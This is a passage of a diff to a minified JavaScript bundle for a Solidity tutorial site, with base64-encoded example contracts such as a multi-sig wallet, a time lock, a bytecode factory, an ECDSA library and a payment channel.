ZXIsIHVpbnQyNTYgaW5kZXhlZCB0eEluZGV4KTsKICAgIGV2ZW50IFJldm9rZUNvbmZpcm1hdGlvbihhZGRyZXNzIGluZGV4ZWQgb3duZXIsIHVpbnQyNTYgaW5kZXhlZCB0eEluZGV4KTsKICAgIGV2ZW50IEV4ZWN1dGVUcmFuc2FjdGlvbihhZGRyZXNzIGluZGV4ZWQgb3duZXIsIHVpbnQyNTYgaW5kZXhlZCB0eEluZGV4KTsKCiAgICBhZGRyZXNzW10gcHVibGljIG93bmVyczsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBib29sKSBwdWJsaWMgaXNPd25lcjsKIC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gICBfOwogICAgfQoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3NbXSBtZW1vcnkgX293bmVycywgdWludDI1NiBfbnVtQ29uZmlybWF0aW9uc1JlcXVpcmVkKSB7CiAgICAgICAgcmVxdWlyZShfb3duZXJzLmxlbmd0aCA+IDAsICJvd25lcnMgcmVxdWlyZWQiKTsKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICBfbnVtQ29uZmlybWF0aW9uc1JlcXVpcmVkID4gMAogICAgICAgICAgICAgICAgJiYgX251bUNvbmZpcm1hdGlvbnNSZXF1aXJlZCA8PSBfb3duZXJzLmxlbmd0aCwKICAgICAgICAgICAgImludmFsaWQgbnVtYmVyIG9mIHJlcXVpcmVkIGNvbmZpcm1hdGlvbnMiCiAgICAgICAgKTsKCiAgICAgICAgZm9yICh1aW50MjU2IGkgPSAwOyBpIDwgX293bmVycy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBhZGRyZXNzIG93bmVyID0gX293bmVyc1tpXTsKCiAgICAgICAgICAgIHJlcXVpcmUob3duZXIgIT0gYWRkcmVzcygwKSwgImludmFsaWQgb3duZXIiKTsKICAgICAgICAgICAgcmVxdWlyZSghaXNPd25lcltvd25lcl0sICJvd25lciBub3QgdW5pcXVlIik7CgogICAgICAgICAgICBpc093bmVyW293bmVyXSA9IHRydWU7CiAgICAgICAgICAgIG93bmVycy5wdXNoKG93bmVyKTsKICAgICAgICB9CgogICAgICAgIG51bUNvbmZpcm1hdGlvbnNSZXF1aXJlZCA9IF9udW1Db25maXJtYXRpb25zUmVxdWlyZWQ7CiAgICB9CgogICAgcmVjZWl2ZSgpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIGVtaXQgRGVwb3NpdChtc2cuc2VuZGVyLCBtc2cudmFsdWUsIGFkZHJlc3ModGhpcykuYmFsYW5jZSk7CiAgICB9CgogICAgZnVuY3Rpb24gc3VibWl0VHJhbnNhY3Rpb24oYWRkcmVzcyBfdG8sIHVpbnQyNTYgX3ZhbHVlLCBieXRlcyBtZW1vcnkgX2RhdGEpCiAgICAgICAgcHVibGljCiAgICAgICAgb25seU93bmVyCiAgICB7CiAgICAgICAgdWludDI1NiB0eEluZGV4ID0gdHJhbnNhY3Rpb25zLmxlbmd0aDsKCiAgICAgICAgdHJhbnNhY3Rpb25zLnB1c2goCiAgICAgICAgICAgIFRyYW5zYWN0aW9uKHsKICAgICAgICAgICAgICAgIHRvOiBfdG8sCiAgICAgICAgICAgICAgICB2YWx1ZTogX3ZhbHVlLAogICAgICAgICAgICAgICAgZGF0YTogX2RhdGEsCiAgICAgICAgICAgICAgICBleGVjdXRlZDogZmFsc2UsCiAgICAgICAgICAgICAgICBudW1Db25maXJtYXRpb25zOiAwCiAgICAgICAgICAgIH0pCiAgICAgICAgKTsKCiAgICAgICAgZW1pdCBTdWJtaXRUcmFuc2FjdGlvbihtc2cuc2VuZGVyLCB0eEluZGV4LCBfdG8sIF92YWx1ZSwgX2RhdGEpOwogICAgfQoKICAgIGZ1bmN0aW9uIGNvbmZpcm1UcmFuc2FjdGlvbih1aW50MjU2IF90eEluZGV4KQogICAgICAgIHB1YmxpYwogICAgICAgIG9ubHlPd25lcgogICAgICAgIHR4RXhpc3RzKF90eEluZGV4KQogICAgICAgIG5vdEV4ZWN1dGVkKF90eEluZGV4KQogICAgICAgIG5vdENvbmZpcm1lZChfdHhJbmRleCkKICAgIHsKICAgICAgICBUcmFuc2FjdGlvbiBzdG9yYWdlIHRyYW5zYWN0aW9uID0gdHJhbnNhY3Rpb25zW190eEluZGV4XTsKICAgICAgICB0cmFuc2FjdGlvbi5udW1Db25maXJtYXRpb25zICs9IDE7CiAgICAgICAgaXNDb25maXJtZWRbX3R4SW5kZXhdW21zZy5zZW5kZXJdID0gdHJ1ZTsKCiAgICAgICAgZW1pdCBDb25maXJtVHJhbnNhY3Rpb24obXNnLnNlbmRlciwgX3R4SW5kZXgpOwogICAgfQoKICAgIGZ1bmN0aW9uIGV4ZWN1dGVUcmFuc2FjdGlvbih1aW50MjU2IF90eEluZGV4KQogICAgICAgIHB1YmxpYwogICAgICAgIG9ubHlPd25lcgogICAgICAgIHR4RXhpc3RzKF90eEluZGV4KQogICAgICAgIG5vdEV4ZWN1dGVkKF90eEluZGV4KQogICAgewogICAgICAgIFRyYW5zYWN0aW9uIHN0b3JhZ2UgdHJhbnNhY3Rpb24gPSB0cmFuc2FjdGlvbnNbX3R4SW5kZXhdOwoKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICB0cmFuc2FjdGlvbi5udW1Db25maXJtYXRpb25zID49IG51bUNvbmZpcm1hdGlvbnNSZXF1aXJlZCwKICAgICAgICAgICAgImNhbm5vdCBleGVjdXRlIHR4IgogICAgICAgICk7CgogICAgICAgIHRyYW5zYWN0aW9uLmV4ZWN1dGVkID0gdHJ1ZTsKCiAgICAgICAgKGJvb2wgc3VjY2VzcywpID0KICAgICAgICAgICAgdHJhbnNhY3Rpb24udG8uY2FsbHt2YWx1ZTogdHJhbnNhY3Rpb24udmFsdWV9KHRyYW5zYWN0aW9uLmRhdGEpOwogICAgICAgIHJlcXVpcmUoc3VjY2VzcywgInR4IGZhaWxlZCIpOwoKICAgICAgICBlbWl0IEV4ZWN1dGVUcmFuc2FjdGlvbihtc2cuc2VuZGVyLCBfdHhJbmRleCk7CiAgICB9CgogICAgZnVuY3Rpb24gcmV2b2tlQ29uZmlybWF0aW9uKHVpbnQyNTYgX3R4SW5kZXgpCiAgICAgICAgcHVibGljCiAgICAgICAgb25seU93bmVyCiAgICAgICAgdHhFeGlzdHMoX3R4SW5kZXgpCiAgICAgICAgbm90RXhlY3V0ZWQoX3R4SW5kZXgpCiAgICB7CiAgICAgICAgVHJhbnNhY3Rpb24gc3RvcmFnZSB0cmFuc2FjdGlvbiA9IHRyYW5zYWN0aW9uc1tfdHhJbmRleF07CgogICAgICAgIHJlcXVpcmUoaXNDb25maXJtZWRbX3R4SW5kZXhdW21zZy5zZW5kZXJdLCAidHggbm90IGNvbmZpcm1lZCIpOwoKICAgICAgICB0cmFuc2FjdGlvbi5udW1Db25maXJtYXRpb25zIC09IDE7CiAgICAgICAgaXNDb25maXJtZWRbX3R4SW5kZXhdW21zZy5zZW5kZXJdID0gZmFsc2U7CgogICAgICAgIGVtaXQgUmV2b2tlQ29uZmlybWF0aW9uKG1zZy5zZW5kZXIsIF90eEluZGV4KTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRPd25lcnMoKSBwdWJsaWMgdmlldyByZXR1cm5zIChhZGRyZXNzW10gbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIG93bmVyczsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRUcmFuc2FjdGlvbkNvdW50KCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiB0cmFuc2FjdGlvbnMubGVuZ3RoOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldFRyYW5zYWN0aW9uKHVpbnQyNTYgX3R4SW5kZXgpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKAogICAgICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgICAgICB1aW50MjU2IHZhbHVlLAogICAgICAgICAgICBieXRlcyBtZW1vcnkgZGF0YSwKICAgICAgICAgICAgYm9vbCBleGVjdXRlZCwKICAgICAgICAgICAgdWludDI1NiBudW1Db25maXJtYXRpb25zCiAgICAgICAgKQogICAgewogICAgICAgIFRyYW5zYWN0aW9uIHN0b3JhZ2UgdHJhbnNhY3Rpb24gPSB0cmFuc2FjdGlvbnNbX3R4SW5kZXhdOwoKICAgICAgICByZXR1cm4gKAogICAgICAgICAgICB0cmFuc2FjdGlvbi50bywKICAgICAgICAgICAgdHJhbnNhY3Rpb24udmFsdWUsCiAgICAgICAgICAgIHRyYW5zYWN0aW9uLmRhdGEsCiAgICAgICAgICAgIHRyYW5zYWN0aW9uLmV4ZWN1dGVkLAogICAgICAgICAgICB0cmFuc2FjdGlvbi5udW1Db25maXJtYXRpb25zCiAgICAgICAgKTsKICAgIH0KfQo="},{fileName:"TestContract.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IFRlc3RDb250cmFjdCB7CiAgICB1aW50MjU2IHB1YmxpYyBpOwoKICAgIGZ1bmN0aW9uIGNhbGxNZSh1aW50MjU2IGopIHB1YmxpYyB7CiAgICAgICAgaSArPSBqOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldERhdGEoKSBwdWJsaWMgcHVyZSByZXR1cm5zIChieXRlcyBtZW1vcnkpIHsKICAgICAgICByZXR1cm4gYWJpLmVuY29kZVdpdGhTaWduYXR1cmUoImNhbGxNZSh1aW50MjU2KSIsIDEyMyk7CiAgICB9Cn0K"}],Gu=`

            Let's create an multi-sig wallet. Here are the specifications.

            The wallet owners can

            • submit a transaction
            • @@ -2762,7 +2762,7 @@ How to swap tokens return abi.encodeWithSignature("callMe(uint256)", 123); } } -`,Bu=({prev:s,next:a})=>r.jsx(A,{version:mu,title:bu,description:wu,cyfrinLink:ku,html:Wu,prev:s,next:a,codes:Zu}),Gu="0.8.26",fu="Simple Bytecode Contract",Vu="Simple example of contract written in bytecode",Yu="https://www.cyfrin.io/glossary/simple-bytecode-contract-solidity-code-example",Xu=[{fileName:"Factory.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEZhY3RvcnkgewogICAgZXZlbnQgTG9nKGFkZHJlc3MgYWRkcik7CgogICAgLy8gRGVwbG95cyBhIGNvbnRyYWN0IHRoYXQgYWx3YXlzIHJldHVybnMgMjU1CiAgICBmdW5jdGlvbiBkZXBsb3koKSBleHRlcm5hbCB7CiAgICAgICAgYnl0ZXMgbWVtb3J5IGJ5dGVjb2RlID0gaGV4IjY5NjBmZjYwMDA1MjYwMjA2MDAwZjM2MDAwNTI2MDBhNjAxNm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gc3RhcnRpbmcgYXQgb2Zmc2V0IDIyClBVU0gxIDB4MGEKUFVTSDEgMHgxNgpSRVRVUk4KKi8K"}],vu=`

              Simple example of contract written in bytecode

              +`,Bu=({prev:s,next:a})=>r.jsx(A,{version:bu,title:wu,description:ku,cyfrinLink:Zu,html:Gu,prev:s,next:a,codes:Wu}),fu="0.8.26",Vu="Simple Bytecode Contract",Yu="Simple example of contract written in bytecode",Xu="https://www.cyfrin.io/glossary/simple-bytecode-contract-solidity-code-example",Ru=[{fileName:"Factory.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEZhY3RvcnkgewogICAgZXZlbnQgTG9nKGFkZHJlc3MgYWRkcik7CgogICAgLy8gRGVwbG95cyBhIGNvbnRyYWN0IHRoYXQgYWx3YXlzIHJldHVybnMgMjU1CiAgICBmdW5jdGlvbiBkZXBsb3koKSBleHRlcm5hbCB7CiAgICAgICAgYnl0ZXMgbWVtb3J5IGJ5dGVjb2RlID0gaGV4IjY5NjBmZjYwMDA1MjYwMjA2MDAwZjM2MDAwNTI2MDBhNjAxNmYzIjsKICAgICAgICBhZGRyZXNzIGFkZHI7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAvLyBjcmVhdGUodmFsdWUsIG9mZnNldCwgc2l6ZSkKICAgICAgICAgICAgYWRkciA6PSBjcmVhdGUoMCwgYWRkKGJ5dGVjb2RlLCAweDIwKSwgMHgxMykKICAgICAgICB9CiAgICAgICAgcmVxdWlyZShhZGRyICE9IGFkZHJlc3MoMCkpOwoKICAgICAgICBlbWl0IExvZyhhZGRyKTsKICAgIH0KfQoKaW50ZXJmYWNlIElDb250cmFjdCB7CiAgICBmdW5jdGlvbiBnZXRWYWx1ZSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7Cn0KCi8vIGh0dHBzOi8vd3d3LmV2bS5jb2Rlcy9wbGF5Z3JvdW5kCi8qClJ1biB0aW1lIGNvZGUgLSByZXR1cm4gMjU1CjYwZmY2MDAwNTI2MDIwNjAwMGYzCgovLyBTdG9yZSAyNTUgdG8gbWVtb3J5Cm1zdG9yZShwLCB2KSAtIHN0b3JlIHYgYXQgbWVtb3J5IHAgdG8gcCArIDMyCgpQVVNIMSAweGZmClBVU0gxIDAKTVNUT1JFCgovLyBSZXR1cm4gMzIgYnl0ZXMgZnJvbSBtZW1vcnkKcmV0dXJuKHAsIHMpIC0gZW5kIGV4ZWN1dGlvbiBhbmQgcmV0dXJuIGRhdGEgZnJvbSBtZW1vcnkgcCB0byBwICsgcwoKUFVTSDEgMHgyMApQVVNIMSAwClJFVFVSTgoKQ3JlYXRpb24gY29kZSAtIHJldHVybiBydW50aW1lIGNvZGUKNjk2MGZmNjAwMDUyNjAyMDYwMDBmMzYwMDA1MjYwMGE2MDE2ZjMKCi8vIFN0b3JlIHJ1biB0aW1lIGNvZGUgdG8gbWVtb3J5ClBVU0gxMCAwWDYwZmY2MDAwNTI2MDIwNjAwMGYzClBVU0gxIDAKTVNUT1JFCgovLyBSZXR1cm4gMTAgYnl0ZXMgZnJvbSBtZW1vcnkgc3RhcnRpbmcgYXQgb2Zmc2V0IDIyClBVU0gxIDB4MGEKUFVTSDEgMHgxNgpSRVRVUk4KKi8K"}],vu=`

              Simple example of contract written in bytecode

              // SPDX-License-Identifier: MIT
               pragma solidity ^0.8.26;
               
              @@ -2819,7 +2819,7 @@ PUSH1 0x0a
               PUSH1 0x16
               RETURN
               */
              -
              `,Ru=({prev:s,next:a})=>r.jsx(A,{version:Gu,title:fu,description:Vu,cyfrinLink:Yu,html:vu,prev:s,next:a,codes:Xu}),Nu="0.8.26",Hu="Time Lock",Fu="Time Lock",Ku="https://www.cyfrin.io/glossary/time-lock-solidity-code-example",Mu=[{fileName:"TimeLock.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgX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gICAgICB9CgogICAgICAgIHF1ZXVlZFtfdHhJZF0gPSBmYWxzZTsKCiAgICAgICAgZW1pdCBDYW5jZWwoX3R4SWQpOwogICAgfQp9Cg=="}],Su=`

              TimeLock is a contract that publishes a transaction to be executed in the future. +`,Nu=({prev:s,next:a})=>r.jsx(A,{version:fu,title:Vu,description:Yu,cyfrinLink:Xu,html:vu,prev:s,next:a,codes:Ru}),Hu="0.8.26",Ku="Time Lock",Fu="Time Lock",Mu="https://www.cyfrin.io/glossary/time-lock-solidity-code-example",Su=[{fileName:"TimeLock.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IFRpbWVMb2NrIHsKICAgIGVycm9yIE5vdE93bmVyRXJyb3IoKTsKICAgIGVycm9yIEFscmVhZHlRdWV1ZWRFcnJvcihieXRlczMyIHR4SWQpOwogICAgZXJyb3IgVGltZXN0YW1wTm90SW5SYW5nZUVycm9yKHVpbnQyNTYgYmxvY2tUaW1lc3RhbXAsIHVpbnQyNTYgdGltZXN0YW1wKTsKICAgIGVycm9yIE5vdFF1ZXVlZEVycm9yKGJ5dGVzMzIgdHhJZCk7CiAgICBlcnJvciBUaW1lc3RhbXBOb3RQYXNzZWRFcnJvcih1aW50MjU2IGJsb2NrVGltZXN0bWFwLCB1aW50MjU2IHRpbWVzdGFtcCk7CiAgICBlcnJvciBUaW1lc3RhbXBFeHBpcmVkRXJyb3IodWludDI1NiBibG9ja1RpbWVzdGFtcCwgdWludDI1NiBleHBpcmVzQXQpOwogICAgZXJyb3IgVHhGYWlsZWRFcnJvcigpOwoKICAgIGV2ZW50IFF1ZXVlKAogICAgICAgIGJ5dGVzMzIgaW5kZXhlZCB0eElkLAogICAgICAgIGFkZHJlc3MgaW5kZXhlZCB0YXJnZXQsCiAgICAgICAgdWludDI1NiB2YWx1ZSwKICAgICAgICBzdHJpbmcgZnVuYywKICAgICAgICBieXRlcyBkYXRhLAogICAgICAgIHVpbnQyNTYgdGltZXN0YW1wCiAgICApOwogICAgZXZlbnQgRXhlY3V0ZSgKICAgICAgICBieXRlczMyIGluZGV4ZWQgdHhJZCwKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgdGFyZ2V0LAogICAgICAgIHVpbnQyNTYgdmFsdWUsCiAgICAgICAgc3RyaW5nIGZ1bmMsCiAgICAgICAgYnl0ZXMgZGF0YSwKICAgICAgICB1aW50MjU2IHRpbWVzdGFtcAogICAgKTsKICAgIGV2ZW50IENhbmNlbChieXRlczMyIGluZGV4ZWQgdHhJZCk7CgogICAgdWludDI1NiBwdWJsaWMgY29uc3RhbnQgTUlOX0RFTEFZID0gMTA7IC8vIHNlY29uZHMKICAgIHVpbnQyNTYgcHVibGljIGNvbnN0YW50IE1BWF9ERUxBWSA9IDEwMDA7IC8vIHNlY29uZHMKICAgIHVpbnQyNTYgcHVibGljIGNvbnN0YW50IEdSQUNFX1BFUklPRCA9IDEwMDA7IC8vIHNlY29uZHMKCiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKICAgIC8vIHR4IGlkID0+IHF1ZXVlZAogICAgbWFwcGluZyhieXRlczMyID0+IGJvb2wpIHB1YmxpYyBxdWV1ZWQ7CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQoKICAgIG1vZGlmaWVyIG9ubHlPd25lcigpIHsKICAgICAgICBpZiAobXNnLnNlbmRlciAhPSBvd25lcikgewogICAgICAgICAgICByZXZlcnQgTm90T3duZXJFcnJvcigpOwogICAgICAgIH0KICAgICAgICBfOwogICAgfQoKICAgIHJlY2VpdmUoKSBleHRlcm5hbCBwYXlhYmxlIHt9CgogICAgZnVuY3Rpb24gZ2V0VHhJZCgKICAgICAgICBhZGRyZXNzIF90YXJnZXQsCiAgICAgICAgdWludDI1NiBfdmFsdWUsCiAgICAgICAgc3RyaW5nIGNhbGxkYXRhIF9mdW5jLAogICAgIC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AgaWYgKCFvaykgewogICAgICAgICAgICByZXZlcnQgVHhGYWlsZWRFcnJvcigpOwogICAgICAgIH0KCiAgICAgICAgZW1pdCBFeGVjdXRlKHR4SWQsIF90YXJnZXQsIF92YWx1ZSwgX2Z1bmMsIF9kYXRhLCBfdGltZXN0YW1wKTsKCiAgICAgICAgcmV0dXJuIHJlczsKICAgIH0KCiAgICBmdW5jdGlvbiBjYW5jZWwoYnl0ZXMzMiBfdHhJZCkgZXh0ZXJuYWwgb25seU93bmVyIHsKICAgICAgICBpZiAoIXF1ZXVlZFtfdHhJZF0pIHsKICAgICAgICAgICAgcmV2ZXJ0IE5vdFF1ZXVlZEVycm9yKF90eElkKTsKICAgICAgICB9CgogICAgICAgIHF1ZXVlZFtfdHhJZF0gPSBmYWxzZTsKCiAgICAgICAgZW1pdCBDYW5jZWwoX3R4SWQpOwogICAgfQp9Cg=="}],xu=`

              TimeLock is a contract that publishes a transaction to be executed in the future. After a minimum waiting period, the transaction can be executed.

              TimeLocks are commonly used in DAOs.

              // SPDX-License-Identifier: MIT
              @@ -2970,7 +2970,7 @@ After a minimum waiting period, the transaction can be executed.

              emit Cancel(_txId); } } -
              `,xu=({prev:s,next:a})=>r.jsx(A,{version:Nu,title:Hu,description:Fu,cyfrinLink:Ku,html:Su,prev:s,next:a,codes:Mu}),Ju="0.8.26",zu="Uni-Directional Payment Channel",Du="An example of uni-directional payment channels in Solidity",Eu="https://www.cyfrin.io/glossary/unidirectional-payment-channel-solidity-code-example",Qu=[{fileName:"ECDSA.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8vIE9wZW5aZXBwZWxpbiBDb250cmFjdHMgKGxhc3QgdXBkYXRlZCB2NC41LjApICh1dGlscy9jcnlwdG9ncmFwaHkvRUNEU0Euc29sKQoKbGlicmFyeSBFQ0RTQSB7CiAgICBlbnVtIFJlY292ZXJFcnJvciB7CiAgICAgICAgTm9FcnJvciwKICAgICAgICBJbnZhbGlkU2lnbmF0dXJlLAogICAgICAgIEludmFsaWRTaWduYXR1cmVMZW5ndGgsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVMsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVYKICAgIH0KCiAgICBmdW5jdGlvbiBfdGhyb3dFcnJvcihSZWNvdmVyRXJyb3IgZXJyb3IpIHByaXZhdGUgcHVyZSB7CiAgICAgICAgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5Ob0Vycm9yKSB7CiAgICAgICAgICAgIHJldHVybjsgLy8gbm8gZXJyb3I6IGRvIG5vdGhpbmcKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlKSB7CiAgICAgICAgICAgIHJldmVydCgiRUNEU0E6IGludmFsaWQgc2lnbmF0dXJlIik7CiAgICAgICAgfSBlbHNlIGlmIChlcnJvciA9PSBSZWNvdmVyRXJyb3IuSW52YWxpZFNpZ25hdHVyZUxlbmd0aCkgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSBsZW5ndGgiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlUykgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAncycgdmFsdWUiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlVikgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAndicgdmFsdWUiKTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdHJ5UmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzIG1lbW9yeSBzaWduYXR1cmUpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYWRkcmVzcywgUmVjb3ZlckVycm9yKQogICAgewogICAgICAgIC8vIENoZWNrIHRoZSBzaWduYXR1cmUgbGVuZ3RoCiAgICAgICAgLy8gLSBjYXNlIDY1OiByLHMsdiBzaWduYXR1cmUgKHN0YW5kYXJkKQogICAgICAgIC8vIC0gY2FzZSA2NDogcix2cyBzaWduYXR1cmUgKGNmIGh0dHBzOi8vZWlwcy5ldGhlcmV1bS5vcmcvRUlQUy9laXAtMjA5OCkgX0F2YWlsYWJsZSBzaW5jZSB2NC4xLl8KICAgICAgICBpZiAoc2lnbmF0dXJlLmxlbmd0aCA9PSA2NSkgewogICAgICAgICAgICBieXRlczMyIHI7CiAgICAgICAgICAgIGJ5dGVzMzIgczsKICAgICAgICAgICAgdWludDggdjsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgcyA6PSBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDQwKSkKICAgICAgICAgICAgICAgIHYgOj0gYnl0ZSgwLCBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDYwKSkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICAgICAgfSBlbHNlIGlmIChzaWduYXR1cmUubGVuZ3RoID09IDY0KSB7CiAgICAgICAgICAgIGJ5dGVzMzIgcjsKICAgICAgICAgICAgYnl0ZXMzMiB2czsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgdnMgOj0gbWxvYWQoYWRkKHNpZ25hdHVyZSwgMHg0MCkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHJldHVybiAoYWRkcmVzcygwKSwgUmVjb3ZlckVycm9yLkludmFsaWRTaWduYXR1cmVMZW5ndGgpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiByZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMgbWVtb3J5IHNpZ25hdHVyZSkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgc2lnbmF0dXJlKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0cnlSZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMzMiByLCBieXRlczMyIHZzKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MsIFJlY292ZXJFcnJvcikKICAgIHsKICAgICAgICBieXRlczMyIHMgPSB2cwogICAgICAgICAgICAmIGJ5dGVzMzIoCiAgICAgICAgICAgICAgICAweDdmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZ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FibGUobXNnLnNlbmRlcik7CiAgICAgICAgcmVjZWl2ZXIgPSBfcmVjZWl2ZXI7CiAgICAgICAgZXhwaXJlc0F0ID0gYmxvY2sudGltZXN0YW1wICsgRFVSQVRJT047CiAgICB9CgogICAgZnVuY3Rpb24gX2dldEhhc2godWludDI1NiBfYW1vdW50KSBwcml2YXRlIHZpZXcgcmV0dXJucyAoYnl0ZXMzMikgewogICAgICAgIC8vIE5PVEU6IHNpZ24gd2l0aCBhZGRyZXNzIG9mIHRoaXMgY29udHJhY3QgdG8gcHJvdGVjdCBhZ2FpbnN0CiAgICAgICAgLy8gcmVwbGF5IGF0dGFjayBvbiBvdGhlciBjb250cmFjdHMKICAgICAgICByZXR1cm4ga2VjY2FrMjU2KGFiaS5lbmNvZGVQYWNrZWQoYWRkcmVzcyh0aGlzKSwgX2Ftb3VudCkpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldEhhc2godWludDI1NiBfYW1vdW50KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKGJ5dGVzMzIpIHsKICAgICAgICByZXR1cm4gX2dldEhhc2goX2Ftb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gX2dldEV0aFNpZ25lZEhhc2godWludDI1NiBfYW1vdW50KQogICAgICAgIHByaXZhdGUKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMikKICAgIHsKICAgICAgICByZXR1cm4gX2dldEhhc2goX2Ftb3VudCkudG9FdGhTaWduZWRNZXNzYWdlSGFzaCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldEV0aFNpZ25lZEhhc2godWludDI1NiBfYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGJ5dGVzMzIpCiAgICB7CiAgICAgICAgcmV0dXJuIF9nZXRFdGhTaWduZWRIYXNoKF9hbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIF92ZXJpZnkodWludDI1NiBfYW1vdW50LCBieXRlcyBtZW1vcnkgX3NpZykKICAgICAgICBwcml2YXRlCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgcmV0dXJuIF9nZXRFdGhTaWduZWRIYXNoKF9hbW91bnQpLnJlY292ZXIoX3NpZykgPT0gc2VuZGVyOwogICAgfQoKICAgIGZ1bmN0aW9uIHZlcmlmeSh1aW50MjU2IF9hbW91bnQsIGJ5dGVzIG1lbW9yeSBfc2lnKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAg